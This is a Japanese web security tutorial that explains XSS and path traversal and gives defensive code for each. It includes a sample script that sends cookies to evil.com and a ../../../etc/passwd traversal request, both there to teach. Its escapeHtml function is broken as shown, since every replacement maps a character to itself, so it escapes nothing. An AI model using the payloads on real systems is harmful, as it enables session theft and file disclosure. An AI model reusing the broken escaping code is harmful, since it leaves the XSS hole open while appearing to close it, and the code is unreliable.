ウェブセキュリティの基礎 — XSSとパストラバーサル
このトピックを終えると
XSSとパストラバーサル攻撃が何であるかを説明でき、「ユーザー入力は無条件に疑う」という原則をコードに適用できるようになります。
ユーザー入力は武器になり得る
ウェブアプリケーションはユーザーの入力を受け取って処理します — 検索語、コメント、URLパラメータ。問題は、この入力に悪意のあるコードが含まれる可能性があるということです。
セキュリティの第一原則:「ユーザーが送信したものはすべて嘘かもしれない。」
XSS — クロスサイトスクリプティング
XSS(Cross-Site Scripting)は、攻撃者がウェブページに悪意のあるJavaScriptを注入する攻撃です。
<!-- 掲示板にこんなコメントを書いたら? -->
<script>alert('ハッキング!')</script>サーバーがこのコメントをそのままHTMLに挿入すると、ページを訪れるすべてのユーザーのブラウザでこのスクリプトが実行されます。
// より危険な例:Cookie窃取
// 攻撃者が注入したスクリプト
`<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>`ユーザーのログインセッションが盗まれると、攻撃者がそのユーザーになりすまして行動できます。
防御:エスケープ
HTML特殊文字を無害な文字に変換します。
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// <script>alert('ハッキング!')</script>
// → <script>alert('ハッキング!')</script>
// ブラウザはこれをテキストとして表示するだけで、実行しませんReact、Next.jsなどのフレームワークは基本的に自動エスケープを行います。ただし、dangerouslySetInnerHTMLのようなAPIを使うとこの保護が無効になるため注意が必要です。
パストラバーサル — Path Traversal
サーバーでファイルを読み取って応答する場合、ユーザーがファイルパスを操作することができます。
// ユーザーが要求したファイルを読み取って表示するコード
const filename = req.query.file; // ユーザー入力!
const content = fs.readFileSync('./public/' + filename, 'utf8');
res.send(content);正常なリクエスト:?file=about.html → ./public/about.html
攻撃リクエスト:?file=../../../etc/passwd → ./public/../../../etc/passwd → /etc/passwd
..を使って意図しないディレクトリに脱出するものです。
防御:パス正規化 + ホワイトリスト
const path = require('path');
const safePath = path.resolve('./public', filename);
// publicディレクトリ内にあるか確認
if (!safePath.startsWith(path.resolve('./public'))) {
return res.status(403).send('アクセス拒否');
}path.resolve()が..をすべて展開して実際の絶対パスを作成し、そのパスが許可されたディレクトリ内にあるかを確認します。
核心原則のまとめ
- 絶対に信用するな:ユーザー入力(URL、フォーム、Cookie、ヘッダー)はすべて検証対象
- 出力時にエスケープ:HTMLに挿入する前に特殊文字を変換(XSS防御)
- パスは正規化してから検証:
..脱出を防ぐにはresolve + startsWith(パストラバーサル防御) - フレームワークの保護を無効化するな:Reactの自動エスケープを無効にするAPIは本当に必要な時だけ